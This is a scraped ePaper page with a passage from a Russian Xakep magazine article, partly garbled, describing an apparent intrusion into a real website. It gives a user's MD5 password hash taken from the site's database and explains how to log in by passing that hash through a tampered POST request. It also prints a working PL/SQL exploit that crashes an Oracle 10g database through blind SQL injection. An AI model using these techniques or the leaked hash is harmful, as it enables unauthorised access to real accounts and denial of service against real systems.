12.07.2015 Views

img - Xakep Online

img - Xakep Online

img - Xakep Online

SHOW MORE
SHOW LESS
  • No tags were found...

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

Упс! Минус один Главный сайтмечательная функция pw2md5(in_pw, out_md5), которая и вызываетсяпри отправке логина и пароля обратно на сайт:. . .. . .function sendData(){var FORM = document.frmlogon;pw2md5(FORM.MemberMatkhau,FORM.MemberMatkhau);return true;}Теперь посмотрим на саму функцию pw2md5(). Она принимает на входпароль в чистом виде, вычисляет MD5 от него, конвертирует полученноебинарное 16-байтовое значение в BASE64-представление изаписывает в выходной параметр.md5.js:/** A JavaScript implementation of the RSA DataSecurity, Inc. MD5 Message* Digest Algorithm, as defined in RFC 1321.* Version 2.1 Copyright (C) Paul Johnston 1999 -2002.* Other contributors: Greg Holt, Andrew Kepert,Ydnar, Lostinet* Distributed under the BSD License* See http://pajhome.org.uk/crypt/md5 for more info.*/. . .. . ./** Util method added by minhnn*/function pw2md5(password, md5password) {md5password.value = b64_md5(password.value) + "==";// password.value = "";}Такой изумительный карточный расклад означает, что нам НЕ НУЖНОвзламывать хеши MD5! Вместо этого мы можем просто подставитьзначение из базы данных прямо в форму отправки! Для этого воспользуемсяонлайн-трансформером BASE64, предварительно сделавбинарный файл с байтами MD5 хеша одного из пользователей.Используя motobit.com, получаем следующие данные:USERNAME: ISTPASSWORD: AD2F38AEE7B3162D832624DA76983CD2BASE64: rS84ruezFi2DJiTadpg80g==XÀÊÅÐ 08 /139/ 10Дальше нам очень пригодится веб-браузер Mozilla Firefox и его компонентTamperData, чтобы подставить налету в POST-запрос вместообычных MD5 свои данные, честно подсмотренные в базе. Это довольнотривиальный процесс, посмотреть на примеры можно в документациик компоненту TamperData... Подставляем, проверяем, давимкнопку «Послать»... и, как говорится в анекдоте, «детей не люблю, носам процесс!». Итак, мы внутри!ÑÎËÄÀÒ, ÂÛÉÒÈ ÈÇ ÑÒÐÎß!Все бы ничего, если бы нас не жгла мысль о том, что слепой SQL —это не что иное, как консоль к базе данных. Ведь с СУБД Oracle можнотворить такое, что никакому SQLite и MySQL и не снилось (здесь мыулыбаемся и машем Александру Полякову, автору книги «БезопасностьOracle глазами аудитора», а также iDefense Labs, — не знаю,кто был первый в обнаружении этой уязвимости). Наш уважаемыйколлега описывает, как можно использовать доступ к процедуре XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA, доступной для выполнениялюбому пользователю базы данных. Используя эту уязвимость в10g можно вызвать переполнение буфера, и служба Oracle аварийнозавершит свою работу. Так что, как только нам надоест баловаться сдоступом к закрытым секциям сайта, мы делаем следующее:declarea varchar2(32767);b varchar2(32767);begina:='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';b:='YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY';a:=a||a; a:=a||a; a:=a||a; a:=a||a; a:=a||a;a:=a||a;b:=b||b; b:=b||b; b:=b||b; b:=b||b; b:=b||b;b:=b||b;XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA(a, b);end;После того, как мы запишем этот вызов в одну длинную строку запросаи вставим на место нашей слепой инъекции, мы сможем увидеть воттакую картинку.ÊÎÍÅÖ ÑÂÅÒÀРазговоры про сетецентрические войны и ведение информационнойвойны — это, конечно, хорошо. Однако опыт показывает, что простыхразговоров мало — уж если мы анализируем сайты наших НАТОвских«союзников», то и они, наверное, от нас не отстают. На этом фонеочень огорчает наличие аналогичных проблем с безопасностью на нашихотечественных государственных сайтах. Вот, например, на сайтеФедеральной службы технического и экспортного контроля (которая соследующего года будет защищать наши персональные данные), присутствуютвсе те же «мелкие» проблемы.Да чего уж, если порно-ролики на дорожных биллбордах Садовогокольца хакеры крутят :). Но, все-таки, хотя бы законодатели в областиинформационной безопасности должны относиться к своим ресурсамответственно. Иначе на кого же мы будем равняться? z055

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!